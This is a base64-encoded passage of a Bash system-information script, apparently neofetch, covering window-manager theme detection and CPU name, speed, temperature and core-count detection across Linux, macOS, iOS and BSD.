QogICAgICAgICAgICB3bV90aGVtZT0iJGRldGhlbWUgKCR3bV90aGVtZSkiCiAgICAgICAgOzsKCiAgICAgICAgQ29tcGl6fE11dHRlcnxHYWxhKQogICAgICAgICAgICBpZiB0eXBlIC1wIGdzZXR0aW5ncyA+L2Rldi9udWxsOyB0aGVuCiAgICAgICAgICAgICAgICB3bV90aGVtZT0kKGdzZXR0aW5ncyBnZXQgb3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMudXNlci10aGVtZSBuYW1lKQoKICAgICAgICAgICAgICAgIFtbICR7d21fdGhlbWUvL1wnfSBdXSB8fCBcCiAgICAgICAgICAgICAgICAgICAgd21fdGhlbWU9JChnc2V0dGluZ3MgZ2V0IG9yZy5nbm9tZS5kZXNrdG9wLndtLnByZWZlcmVuY2VzIHRoZW1lKQoKICAgICAgICAgICAgZWxpZiB0eXBlIC1wIGdjb25mdG9vbC0yID4vZGV2L251bGw7IHRoZW4KICAgICAgICAgICAgICAgIHdtX3RoZW1lPSQoZ2NvbmZ0b29sLTIgLWcgL2FwcHMvbWV0YWNpdHkvZ2VuZXJhbC90aGVtZSkKICAgICAgICAgICAgZmkKICAgICAgICA7OwoKICAgICAgICBNZXRhY2l0eSopCiAgICAgICAgICAgIGlmIFtbICRkZSA9PSBEZWVwaW4gXV07IHRoZW4KICAgICAgICAgICAgICAgIHdtX3RoZW1lPSQoZ3NldHRpbmdzIGdldCBjb20uZGVlcGluLndyYXAuZ25vbWUuZGVza3RvcC53bS5wcmVmZXJlbmNlcyB0aGVtZSkKCiAgICAgICAgICAgIGVsaWYgW1sgJGRlID09IE1BVEUgXV07IHRoZW4KICAgICAgICAgICAgICAgIHdtX3RoZW1lPSQoZ3NldHRpbmdzIGdldCBvcmcubWF0ZS5NYXJjby5nZW5lcmFsIHRoZW1lKQoKICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgd21fdGhlbWU9JChnY29uZnRvb2wtMiAtZyAvYXBwcy9tZXRhY2l0eS9nZW5lcmFsL3RoZW1lKQogICAgICAgICAgICBmaQogICAgICAgIDs7CgogICAgICAgIEUxN3xFbmxpZ2h0ZW5tZW50KQogICAgICAgICAgICBpZiB0eXBlIC1wIGVldCA+L2Rldi9udWxsOyB0aGVuCiAgICAgICAgICAgICAgICB3bV90aGVtZT0kKGVldCAtZCAiJEhPTUUvLmUvZS9jb25maWcvc3RhbmRhcmQvZS5jZmciIGNvbmZpZyB8XAogICAgICAgICAgICAgICAgICAgICAgICAgICAgYXdrICcvdmFsdWUgXCJmaWxlXCIgc3RyaW5nLiouZWRqLyB7cHJpbnQgJDR9JykKICAgICAgICAgICAgICAgIHdtX3RoZW1lPSR7d21fdGhlbWUjIyovfQogICAgICAgICAgICAgICAgd21fdGhlbWU9JHt3bV90aGVtZSUuKn0KICAgICAgICAgICAgZmkKICAgICAgICA7OwoKICAgICAgICBGbHV4Ym94KQogICAgICAgICAgICBbWyAtZiAkSE9NRS8uZmx1eGJveC9pbml0IF1dICYmCiAgICAgICAgICAgICAgICB3bV90aGVtZT0kKGF3ayAtRiAiLyIgJy9zdHlsZUZpbGUvIHtwcmludCAkTkZ9JyAiJEhPTUUvLmZsdXhib3gvaW5pdCIpCiAgICAgICAgOzsKCiAgICAgICAgSWNlV00qKQogICAgICAgICAgICBbWyAtZiAkSE9NRS8uaWNld20vdGhlbWUgXV0gJiYKICAgICAgICAgICAgICAgIHdtX3RoZW1lPSQoYXdrIC1GICJbXCIsL10iICchLyMvIHtwcmludCAkMn0nICIkSE9NRS8uaWNld20vdGhlbWUiKQogICAgICAgIDs7CgogICAgICAgIE9wZW5ib3gpCiAgICAgICAgICAgIGNhc2UgJGRlIGluCiAgICAgICAgICAgICAgICBMWERFKikgb2JfZmlsZT1seGRlLXJjIDs7CiAgICAgICAgICAgICAgICBMWFF0Kikgb2JfZmlsZT1seHF0LXJjIDs7CiAgICAgICAgICAgICAgICAgICAgKikgb2JfZmlsZT1yYyA7OwogICAgICAgICAgICBlc2FjCgogICAgICAgICAgICBvYl9maWxlPSRYREdfQ09ORklHX0hPTUUvb3BlbmJveC8kb2JfZmlsZS54bWwKCiAgICAgICAgICAgIFtbIC1mICRvYl9maWxlIF1dICYmCiAgICAgICAgICAgICAgICB3bV90aGVtZT0kKGF3ayAnLzx0aGVtZT4vIHt3aGlsZSAoZ2V0bGluZSBuKSB7aWYgKG1hdGNoKG4sIC88bmFtZT4vKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHtsPW47IGV4aXR9fX0gRU5EIHtzcGxpdChsLCBhLCAiWzw+XSIpOyBwcmludCBhWzNdfScgIiRvYl9maWxlIikKICAgICAgICA7OwoKICAgICAgICBQZWtXTSkKICAgICAgICAgICAgW1sgLWYgJEhPTUUvLnBla3dtL2NvbmZpZyBdXSAmJgogICAgICAgICAgICAgICAgd21fdGhlbWU9JChhd2sgLUYgIi8iICcvVGhlbWUve2dzdWIoL1wiLywiIik7IHByaW50ICRORn0nICIkSE9NRS8ucGVrd20vY29uZmlnIikKICAgICAgICA7OwoKICAgICAgICBYZndtNCkKICAgICAgICAgICAgW1sgLWYgJEhPTUUvLmNvbmZpZy94ZmNlNC94ZmNvbmYveGZjZS1wZXJjaGFubmVsLXhtbC94ZndtNC54bWwgXV0gJiYKICAgICAgICAgICAgICAgIHdtX3RoZW1lPSQoeGZjb25mLXF1ZXJ5IC1jIHhmd200IC1wIC9nZW5lcmFsL3RoZW1lKQogICAgICAgIDs7CgogICAgICAgIEtXaW4qKQogICAgICAgICAgICBrZGVfY29uZmlnX2RpcgogICAgICAgICAgICBrd2lucmM9JGtkZV9jb25maWdfZGlyL2t3aW5yYwogICAgICAgICAgICBrZGVidWdyYz0ka2RlX2NvbmZpZ19kaXIva2RlYnVncmMKCiAgICAgICAgICAgIGlmIFtbIC1mICRrd2lucmMgXV07IHRoZW4KICAgICAgICAgICAgICAgIHdtX3RoZW1lPSQoYXdrICcvdGhlbWU9LyB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdzdWIoL3RoZW1lPS4qcW1sX3x0aGVtZT0uKnN2Z19fLywiIiwkMCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICQwOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBleGl0CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0nICIka3dpbnJjIikKCiAgICAgICAgICAgICAgICBbWyAiJHdtX3RoZW1lIiBdXSB8fAogICAgICAgICAgICAgICAgICAgIHdtX3RoZW1lPSQoYXdrICcvbGlicmFyeT1vcmcua2RlLyB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnc3ViKC9saWJyYXJ5PW9yZy5rZGUuLywiIiwkMCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAkMDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV4aXQKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0nICIka3dpbnJjIikKCiAgICAgICAgICAgICAgICBbWyAkd21fdGhlbWUgXV0gfHwKICAgICAgICAgICAgICAgICAgICB3bV90aGVtZT0kKGF3ayAnL1BsdWdpbkxpYj1rd2luM18vIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdzdWIoL1BsdWdpbkxpYj1rd2luM18vLCIiLCQwKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICQwOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXhpdAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfScgIiRrd2lucmMiKQoKICAgICAgICAgICAgZWxpZiBbWyAtZiAka2RlYnVncmMgXV07IHRoZW4KICAgICAgICAgICAgICAgIHdtX3RoZW1lPSQoYXdrICcvKGRlY29yYXRpb24pLyB7Z3N1YigvXFsvLCIiLCQxKTsgcHJpbnQgJDE7IGV4aXR9JyAiJGtkZWJ1Z3JjIikKICAgICAgICAgICAgZmkKCiAgICAgICAgICAgIHdtX3RoZW1lPSR7d21fdGhlbWUvdGhlbWU9fQogICAgICAgIDs7CgogICAgICAgICJRdWFydHogQ29tcG9zaXRvciIpCiAgICAgICAgICAgIGdsb2JhbF9wcmVmZXJlbmNlcz0kSE9NRS9MaWJyYXJ5L1ByZWZlcmVuY2VzLy5HbG9iYWxQcmVmZXJlbmNlcy5wbGlzdAogICAgICAgICAgICB3bV90aGVtZT0kKFBsaXN0QnVkZHkgLWMgIlByaW50IEFwcGxlSW50ZXJmYWNlU3R5bGUiICIkZ2xvYmFsX3ByZWZlcmVuY2VzIikKICAgICAgICAgICAgd21fdGhlbWVfY29sb3I9JChQbGlzdEJ1ZGR5IC1jICJQcmludCBBcHBsZUFjY2VudENvbG9yIiAiJGdsb2JhbF9wcmVmZXJlbmNlcyIpCgogICAgICAgICAgICBbWyAiJHdtX3RoZW1lIiBdXSB8fAogICAgICAgICAgICAgICAgd21fdGhlbWU9TGlnaHQKCiAgICAgICAgICAgIGNhc2UgJHdtX3RoZW1lX2NvbG9yIGluCiAgICAgICAgICAgICAgICAtMSkgd21fdGhlbWVfY29sb3I9R3JhcGhpdGUgOzsKICAgICAgICAgICAgICAgIDApICB3bV90aGVtZV9jb2xvcj1SZWQgOzsKICAgICAgICAgICAgICAgIDEpICB3bV90aGVtZV9jb2xvcj1PcmFuZ2UgOzsKICAgICAgICAgICAgICAgIDIpICB3bV90aGVtZV9jb2xvcj1ZZWxsb3cgOzsKICAgICAgICAgICAgICAgIDMpICB3bV90aGVtZV9jb2xvcj1HcmVlbiA7OwogICAgICAgICAgICAgICAgNSkgIHdtX3RoZW1lX2NvbG9yPVB1cnBsZSA7OwogICAgICAgICAgICAgICAgNikgIHdtX3RoZW1lX2NvbG9yPVBpbmsgOzsKICAgICAgICAgICAgICAgICopICB3bV90aGVtZV9jb2xvcj1CbHVlIDs7CiAgICAgICAgICAgIGVzYWMKCiAgICAgICAgICAgIHdtX3RoZW1lPSIkd21fdGhlbWVfY29sb3IgKCR3bV90aGVtZSkiCiAgICAgICAgOzsKCiAgICAgICAgKkV4cGxvcmVyKQogICAgICAgICAgICBwYXRoPS9wcm9jL3JlZ2lzdHJ5L0hLRVlfQ1VSUkVOVF9VU0VSL1NvZnR3YXJlL01pY3Jvc29mdAogICAgICAgICAgICBwYXRoKz0vV2luZG93cy9DdXJyZW50VmVyc2lvbi9UaGVtZXMvQ3VycmVudFRoZW1lCgogICAgICAgICAgICB3bV90aGVtZT0kKGhlYWQgLW4xICIkcGF0aCIpCiAgICAgICAgICAgIHdtX3RoZW1lPSR7d21fdGhlbWUjIypcXH0KICAgICAgICAgICAgd21fdGhlbWU9JHt3bV90aGVtZSUuKn0KICAgICAgICA7OwoKICAgICAgICBCbGFja2JveHxiYkxlYW4qKQogICAgICAgICAgICBwYXRoPSQod21pYyBwcm9jZXNzIGdldCBFeGVjdXRhYmxlUGF0aCB8IGdyZXAgLUYgImJsYWNrYm94IikKICAgICAgICAgICAgcGF0aD0ke3BhdGgvL1xcL1wvfQoKICAgICAgICAgICAgd21fdGhlbWU9JChncmVwICdec2Vzc2lvblwuc3R5bGVGaWxlOicgIiR7cGF0aC9cLmV4ZS8ucmN9IikKICAgICAgICAgICAgd21fdGhlbWU9JHt3bV90aGVtZS9zZXNzaW9uXC5zdHlsZUZpbGU6IH0KICAgICAgICAgICAgd21fdGhlbWU9JHt3bV90aGVtZSMjKlxcfQogICAgICAgICAgICB3bV90aGVtZT0ke3dtX3RoZW1lJS4qfQogICAgICAgIDs7CiAgICBlc2FjCgogICAgd21fdGhlbWU9JCh0cmltX3F1b3RlcyAiJHdtX3RoZW1lIikKfQoKZ2V0X2NwdSgpIHsKICAgIGNhc2UgJG9zIGluCiAgICAgICAgIkxpbnV4IiB8ICJNSU5JWCIgfCAiV2luZG93cyIpCiAgICAgICAgICAgICMgR2V0IENQVSBuYW1lLgogICAgICAgICAgICBjcHVfZmlsZT0iL3Byb2MvY3B1aW5mbyIKCiAgICAgICAgICAgIGNhc2UgJGtlcm5lbF9tYWNoaW5lIGluCiAgICAgICAgICAgICAgICAiZnJ2IiB8ICJocHBhIiB8ICJtNjhrIiB8ICJvcGVucmlzYyIgfCAib3IiKiB8ICJwb3dlcnBjIiB8ICJwcGMiKiB8ICJzcGFyYyIqKQogICAgICAgICAgICAgICAgICAgIGNwdT0iJChhd2sgLUYnOicgJy9eY3B1XHR8XkNQVS8ge3ByaW50ZiAkMjsgZXhpdH0nICIkY3B1X2ZpbGUiKSIKICAgICAgICAgICAgICAgIDs7CgogICAgICAgICAgICAgICAgInMzOTAiKikKICAgICAgICAgICAgICAgICAgICBjcHU9IiQoYXdrIC1GJz0nICcvbWFjaGluZS8ge3ByaW50ICQ0OyBleGl0fScgIiRjcHVfZmlsZSIpIgogICAgICAgICAgICAgICAgOzsKCiAgICAgICAgICAgICAgICAiaWE2NCIgfCAibTMyciIpCiAgICAgICAgICAgICAgICAgICAgY3B1PSIkKGF3ayAtRic6JyAnL21vZGVsLyB7cHJpbnQgJDI7IGV4aXR9JyAiJGNwdV9maWxlIikiCiAgICAgICAgICAgICAgICAgICAgW1sgLXogIiRjcHUiIF1dICYmIGNwdT0iJChhd2sgLUYnOicgJy9mYW1pbHkvIHtwcmludGYgJDI7IGV4aXR9JyAiJGNwdV9maWxlIikiCiAgICAgICAgICAgICAgICA7OwoKICAgICAgICAgICAgICAgICopCiAgICAgICAgICAgICAgICAgICAgY3B1PSIkKGF3ayAtRiAnXFxzKjogfCBAJyBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnL21vZGVsIG5hbWV8SGFyZHdhcmV8UHJvY2Vzc29yfF5jcHUgbW9kZWx8Y2hpcCB0eXBlfF5jcHUgdHlwZS8gewogICAgICAgICAgICAgICAgICAgICAgICAgICAgY3B1PSQyOyBpZiAoJDEgPT0gIkhhcmR3YXJlIikgZXhpdCB9IEVORCB7IHByaW50IGNwdSB9JyAiJGNwdV9maWxlIikiCiAgICAgICAgICAgICAgICA7OwogICAgICAgICAgICBlc2FjCgogICAgICAgICAgICBzcGVlZF9kaXI9Ii9zeXMvZGV2aWNlcy9zeXN0ZW0vY3B1L2NwdTAvY3B1ZnJlcSIKCiAgICAgICAgICAgICMgU2VsZWN0IHRoZSByaWdodCB0ZW1wZXJhdHVyZSBmaWxlLgogICAgICAgICAgICBmb3IgdGVtcF9kaXIgaW4gL3N5cy9jbGFzcy9od21vbi8qOyBkbwogICAgICAgICAgICAgICAgW1sgIiQoPCAiJHt0ZW1wX2Rpcn0vbmFtZSIpIiA9fiAoY3B1X3RoZXJtYWx8Y29yZXRlbXB8ZmFtMTVoX3Bvd2VyfGsxMHRlbXApIF1dICYmIHsKICAgICAgICAgICAgICAgICAgICB0ZW1wX2RpcnM9KCIkdGVtcF9kaXIiL3RlbXAqX2lucHV0KQogICAgICAgICAgICAgICAgICAgIHRlbXBfZGlyPSR7dGVtcF9kaXJzWzBdfQogICAgICAgICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIGRvbmUKCiAgICAgICAgICAgICMgR2V0IENQVSBzcGVlZC4KICAgICAgICAgICAgaWYgW1sgLWQgIiRzcGVlZF9kaXIiIF1dOyB0aGVuCiAgICAgICAgICAgICAgICAjIEZhbGxiYWNrIHRvIGJpb3NfbGltaXQgaWYgJHNwZWVkX3R5cGUgZmFpbHMuCiAgICAgICAgICAgICAgICBzcGVlZD0iJCg8ICIke3NwZWVkX2Rpcn0vJHtzcGVlZF90eXBlfSIpIiB8fFwKICAgICAgICAgICAgICAgIHNwZWVkPSIkKDwgIiR7c3BlZWRfZGlyfS9iaW9zX2xpbWl0IikiIHx8XAogICAgICAgICAgICAgICAgc3BlZWQ9IiQoPCAiJHtzcGVlZF9kaXJ9L3NjYWxpbmdfbWF4X2ZyZXEiKSIgfHxcCiAgICAgICAgICAgICAgICBzcGVlZD0iJCg8ICIke3NwZWVkX2Rpcn0vY3B1aW5mb19tYXhfZnJlcSIpIgogICAgICAgICAgICAgICAgc3BlZWQ9IiQoKHNwZWVkIC8gMTAwMCkpIgoKICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgY2FzZSAka2VybmVsX21hY2hpbmUgaW4KICAgICAgICAgICAgICAgICAgICAic3BhcmMiKikKICAgICAgICAgICAgICAgICAgICAgICAgIyBTUEFSQyBzeXN0ZW1zIHVzZSBhIGRpZmZlcmVudCBmaWxlIHRvIGV4cG9zZSBjbG9jayBzcGVlZCBpbmZvcm1hdGlvbi4KICAgICAgICAgICAgICAgICAgICAgICAgc3BlZWRfZmlsZT0iL3N5cy9kZXZpY2VzL3N5c3RlbS9jcHUvY3B1MC9jbG9ja190aWNrIgogICAgICAgICAgICAgICAgICAgICAgICBzcGVlZD0iJCgoJCg8ICIkc3BlZWRfZmlsZSIpIC8gMTAwMDAwMCkpIgogICAgICAgICAgICAgICAgICAgIDs7CgogICAgICAgICAgICAgICAgICAgICopCiAgICAgICAgICAgICAgICAgICAgICAgIHNwZWVkPSIkKGF3ayAtRiAnOiB8XFwuJyAnL2NwdSBNSHp8XmNsb2NrLyB7cHJpbnRmICQyOyBleGl0fScgIiRjcHVfZmlsZSIpIgogICAgICAgICAgICAgICAgICAgICAgICBzcGVlZD0iJHtzcGVlZC9NSHp9IgogICAgICAgICAgICAgICAgICAgIDs7CiAgICAgICAgICAgICAgICBlc2FjCiAgICAgICAgICAgIGZpCgogICAgICAgICAgICAjIEdldCBDUFUgdGVtcC4KICAgICAgICAgICAgW1sgLWYgIiR0ZW1wX2RpciIgXV0gJiYgZGVnPSIkKCgkKDwgIiR0ZW1wX2RpciIpICogMTAwIC8gMTAwMDApKSIKCiAgICAgICAgICAgICMgR2V0IENQVSBjb3Jlcy4KICAgICAgICAgICAgY2FzZSAka2VybmVsX21hY2hpbmUgaW4KICAgICAgICAgICAgICAgICJzcGFyYyIqKQogICAgICAgICAgICAgICAgICAgIGNhc2UgJGNwdV9jb3JlcyBpbgogICAgICAgICAgICAgICAgICAgICAgICAjIFNQQVJDIHN5c3RlbXMgZG9lc24ndCBleHBvc2UgZGV0YWlsZWQgdG9wb2xvZ3kgaW5mb3JtYXRpb24gaW4KICAgICAgICAgICAgICAgICAgICAgICAgIyAvcHJvYy9jcHVpbmZvIHNvIEkgaGF2ZSB0byB1c2UgbHNjcHUgaGVyZS4KICAgICAgICAgICAgICAgICAgICAgICAgImxvZ2ljYWwiIHwgIm9uIikKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvcmVzPSIkKGxzY3B1IHwgYXdrIC1GICc6IConICcvXkNQVVwoc1wpLyB7cHJpbnQgJDJ9JykiCiAgICAgICAgICAgICAgICAgICAgICAgIDs7CiAgICAgICAgICAgICAgICAgICAgICAgICJwaHlzaWNhbCIpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb3Jlcz0iJChsc2NwdSB8IGF3ayAtRiAnOiAqJyAnL15Db3JlXChzXCkgcGVyIHNvY2tldC8ge3ByaW50ICQyfScpIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgc29ja2V0cz0iJChsc2NwdSB8IGF3ayAtRiAnOiAqJyAnL15Tb2NrZXRcKHNcKS8ge3ByaW50ICQyfScpIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29yZXM9IiQoKHNvY2tldHMgKiBjb3JlcykpIgogICAgICAgICAgICAgICAgICAgICAgICA7OwogICAgICAgICAgICAgICAgICAgIGVzYWMKICAgICAgICAgICAgICAgIDs7CgogICAgICAgICAgICAgICAgKikKICAgICAgICAgICAgICAgICAgICBjYXNlICRjcHVfY29yZXMgaW4KICAgICAgICAgICAgICAgICAgICAgICAgImxvZ2ljYWwiIHwgIm9uIikKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvcmVzPSIkKGdyZXAgLWMgIl5wcm9jZXNzb3IiICIkY3B1X2ZpbGUiKSIKICAgICAgICAgICAgICAgICAgICAgICAgOzsKICAgICAgICAgICAgICAgICAgICAgICAgInBoeXNpY2FsIikKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvcmVzPSIkKGF3ayAnL15jb3JlIGlkLyYmIWFbJDBdKyt7KytpfSBFTkQge3ByaW50IGl9JyAiJGNwdV9maWxlIikiCiAgICAgICAgICAgICAgICAgICAgICAgIDs7CiAgICAgICAgICAgICAgICAgICAgZXNhYwogICAgICAgICAgICAgICAgOzsKICAgICAgICAgICAgZXNhYwogICAgICAgIDs7CgogICAgICAgICJNYWMgT1MgWCJ8Im1hY09TIikKICAgICAgICAgICAgY3B1PSIkKHN5c2N0bCAtbiBtYWNoZGVwLmNwdS5icmFuZF9zdHJpbmcpIgoKICAgICAgICAgICAgIyBHZXQgQ1BVIGNvcmVzLgogICAgICAgICAgICBjYXNlICRjcHVfY29yZXMgaW4KICAgICAgICAgICAgICAgICJsb2dpY2FsIiB8ICJvbiIpIGNvcmVzPSIkKHN5c2N0bCAtbiBody5sb2dpY2FsY3B1X21heCkiIDs7CiAgICAgICAgICAgICAgICAicGh5c2ljYWwiKSAgICAgICBjb3Jlcz0iJChzeXNjdGwgLW4gaHcucGh5c2ljYWxjcHVfbWF4KSIgOzsKICAgICAgICAgICAgZXNhYwogICAgICAgIDs7CgogICAgICAgICJpUGhvbmUgT1MiKQogICAgICAgICAgICBjYXNlICRrZXJuZWxfbWFjaGluZSBpbgogICAgICAgICAgICAgICAgImlQaG9uZTEsIlsxLTJdIHwgImlQb2QxLDEiKTogIlNhbXN1bmcgUzVMODkwMCAoMSkgQCA0MTJNSHoiIDs7CiAgICAgICAgICAgICAgICAiaVBob25lMiwxIik6ICAgICAgICAgICAgICAgICAiU2Ftc3VuZyBTNVBDMTAwICgxKSBAIDYwME1IeiIgOzsKICAgICAgICAgICAgICAgICJpUGhvbmUzLCJbMS0zXSB8ICJpUG9kNCwxIik6ICJBcHBsZSBBNCAoMSkgQCA4MDBNSHoiIDs7CiAgICAgICAgICAgICAgICAiaVBob25lNCwxIiB8ICJpUG9kNSwxIik6ICAgICAiQXBwbGUgQTUgKDIpIEAgODAwTUh6IiA7OwogICAgICAgICAgICAgICAgImlQaG9uZTUsIlsxLTRdKTogIkFwcGxlIEE2ICgyKSBAIDEuM0dIeiIgOzsKICAgICAgICAgICAgICAgICJpUGhvbmU2LCJbMS0yXSk6ICJBcHBsZSBBNyAoMikgQCAxLjNHSHoiIDs7CiAgICAgICAgICAgICAgICAiaVBob25lNywiWzEtMl0pOiAiQXBwbGUgQTggKDIpIEAgMS40R0h6IiA7OwogICAgICAgICAgICAgICAgImlQaG9uZTgsIlsxLTRdIHwgImlQYWQ2LDEiWzEyXSk6ICJBcHBsZSBBOSAoMikgQCAxLjg1R0h6IiA7OwogICAgICAgICAgICAgICAgImlQaG9uZTksIlsxLTRdIHwgImlQYWQ3LCJbNS02XSB8ICJpUGFkNywxIlsxLTJdKToKICAgICAgICAgICAgICAgICAgICAiQXBwbGUgQTEwIEZ1c2lvbiAoNCkgQCAyLjM0R0h6IgogICAgICAgICAgICAgICAgOzsKICAgICAgICAgICAgICAgICJpUGhvbmUxMCwiWzEtNl0pOiAiQXBwbGUgQTExIEJpb25pYyAoNikgQCAyLjM5R0h6IiA7OwogICAgICAgICAgICAgICAgImlQaG9uZTExLCJbMjQ2OF0gfCAiaVBhZDExLCJbMS00XSB8ICJpUGFkMTEsIls2LTddKTogIkFwcGxlIEExMiBCaW9uaWMgKDYpIEAgMi40OUdIeiIgOzsKICAgICAgICAgICAgICAgICJpUGhvbmUxMiwiWzEzNThdKTogIkFwcGxlIEExMyBCaW9uaWMgKDYpIEAgMi42NUdIeiIgOzsKICAgICAgICAgICAgICAgICJpUGhvbmUxMywiWzEtNF0gfCAiaVBhZDEzLCJbMS0yXSk6ICJBcHBsZSBBMTQgQmlvbmljICg2KSBAIDMuMDBHaHoiIDs7CgogICAgICAgICAgICAgICAgImlQb2QyLDEiKTogIlNhbXN1bmcgUzVMODcyMCAoMSkgQCA1MzNNSHoiIDs7CiAgICAgICAgICAgICAgICAiaVBvZDMsMSIpOiAiU2Ftc3VuZyBTNUw4OTIyICgxKSBAIDYwME1IeiIgOzsKICAgICAgICAgICAgICAgICJpUG9kNywxIik6ICJBcHBsZSBBOCAoMikgQCAxLjFHSHoiIDs7CiAgICAgICAgICAgICAgICAiaVBhZDEsMSIpOiAiQXBwbGUgQTQgKDEpIEAgMUdIeiIgOzsKICAgICAgICAgICAgICAgICJpUGFkMiwiWzEtN10pOiAiQXBwbGUgQTUgKDIpIEAgMUdIeiIgOzsKICAgICAgICAgICAgICAgICJpUGFkMywiWzEtM10pOiAiQXBwbGUgQTVYICgyKSBAIDFHSHoiIDs7CiAgICAgICAgICAgICAgICAiaVBhZDMsIls0LTZdKTogIkFwcGxlIEE2WCAoMikgQCAxLjRHSHoiIDs7CiAgICAgICAgICAgICAgICAiaVBhZDQsIlsxLTNdKTogIkFwcGxlIEE3ICgyKSBAIDEuNEdIeiIgOzsKICAgICAgICAgICAgICAgICJpUGFkNCwiWzQtOV0pOiAiQXBwbGUgQTcgKDIpIEAgMS40R0h6IiA7OwogICAgICAgICAgICAgICAgImlQYWQ1LCJbMS0yXSk6ICJBcHBsZSBBOCAoMikgQCAxLjVHSHoiIDs7CiAgICAgICAgICAgICAgICAiaVBhZDUsIlszLTRdKTogIkFwcGxlIEE4WCAoMykgQCAxLjVHSHoiIDs7CiAgICAgICAgICAgICAgICAiaVBhZDYsIlszLTRdKTogIkFwcGxlIEE5WCAoMikgQCAyLjE2R0h6IiA7OwogICAgICAgICAgICAgICAgImlQYWQ2LCJbNy04XSk6ICJBcHBsZSBBOVggKDIpIEAgMi4yNkdIeiIgOzsKICAgICAgICAgICAgICAgICJpUGFkNywiWzEtNF0pOiAiQXBwbGUgQTEwWCBGdXNpb24gKDYpIEAgMi4zOUdIeiIgOzsKICAgICAgICAgICAgICAgICJpUGFkOCwiWzEtOF0pOiAiQXBwbGUgQTEyWCBCaW9uaWMgKDgpIEAgMi40OUdIeiIgOzsKICAgICAgICAgICAgICAgICJpUGFkOCw5IiB8ICJpUGFkOCwxIlswLTJdKTogIkFwcGxlIEExMlogQmlvbmljICg4KSBAIDIuNDlHSHoiIDs7CiAgICAgICAgICAgIGVzYWMKICAgICAgICAgICAgY3B1PSIkXyIKICAgICAgICA7OwoKICAgICAgICAiQlNEIikKICAgICAgICAgICAgIyBHZXQgQ1BVIG5hbWUuCiAgICAgICAgICAgIGNwdT0iJChzeXNjdGwgLW4gaHcubW9kZWwpIgogICAgICAgICAgICBjcHU9IiR7Y3B1L1swLTldXC4qfSIKICAgICAgICAgICAgY3B1PSIke2NwdS8gQCp9IgoKICAgICAgICAgICAgIyBHZXQgQ1BVIHNwZWVkLgogICAgICAgICAgICBzcGVlZD0iJChzeXNjdGwgLW4gaHcuY3B1c3BlZWQpIgogICAgICAgICAgICBbWyAteiAiJHNwZWVkIiBdXSAmJiBzcGVlZD0iJChzeXNjdGwgLW4gIGh3LmNsb2NrcmF0ZSkiCgogICAgICAgICAgICAjIEdldCBDUFUgY29yZXMuCiAgICAgICAgICAgIGNhc2UgJGtlcm5lbF9uYW1lIGluCiAgICAgICAgICAgICAgICAiT3BlbkJTRCIqKQogICAgICAgICAgICAgICAgICAgIFtbICIkKHN5c2N0bCAtbiBody5zbXQpIiA9PSAiMSIgXV0gJiYgc210PSJvbiIgfHwgc210PSJvZmYiCiAgICAgICAgICAgICAgICAgICAgbmNwdWZvdW5kPSIkKHN5c2N0bCAtbiBody5uY3B1Zm91bmQpIgogICAgICAgICAgICAgICAgICAgIG5jcHVvbmxpbmU9IiQoc3lzY3RsIC1uIGh3Lm5jcHVvbmxpbmUpIgogICAgICAgICAgICAgICAgICAgIGNvcmVzPSIke25jcHVvbmxpbmV9LyR7bmNwdWZvdW5kfSxcXHhjMlxceGEwU01UXFx4YzJcXHhhMCR7c210fSIKICAgICAgICAgICAgICAgIDs7CiAgICAgICAgICAgICAgICAqKQogICAgICAgICAgICAgICAgICAgIGNvcmVzPSIkKHN5c2N0bCAtbiBody5uY3B1KSIKICAgICAgICAgICAgICAgIDs7CiAgICAgICAgICAgIGVzYWMKCiAgICAgICAgICAgICMgR2V0IENQVSB0ZW1wLgogICAgICAgICAgICBjYXNlICRrZXJuZWxfbmFtZSBpbgogICAgICAgICAgICAgICAgIkZyZWVCU0QiKiB8ICJEcmFnb25GbHkiKiB8ICJOZXRCU0QiKikKICAgICAgICAgICAgICAgICAgICBkZWc9IiQoc3lzY3RsIC1uIGRldi5jcHUuMC50ZW1wZXJhdHVyZSkiCiAgICAgICAgICAgICAgICAgICAgZGVnPSIke2RlZy9DfSIKICAgICAgICAgICAgICAgIDs7CiAgICAgICAgICAgICAgICAiT3BlbkJTRCIqIHwgIkJpdHJpZyIqKQogICAgICAgICAgICAgICAgICAgIGRlZz0iJChzeXNjdGwgaHcuc2Vuc29ycyB8IFwKICAgICAgICAgICAgICAgICAgICAgICAgYXdrIC1GJz18ZGVnQycgJy8oa3NtbnxhZHR8bG18Y3B1KTAudGVtcDAvIHtwcmludGYoIiUyLjFmIiwgJDIpOyBleGl0fScpIgogICAgICAgICAgICAgICAgOzsKICAgICAgICAgICAgZXNhYwogICAgICAgIDs7CgogICAgICAgICJTb2xhcmlzIikKICAgICAgICAgICAgIyBHZXQgQ1BVIG5hbWUuCiAgICAgICAgICAgIGNwdT0iJChwc3JpbmZvIC1wdikiCiAgICAgICAgICAgIGNwdT0iJHtjcHUvLyokJ1xuJ30iCiAgI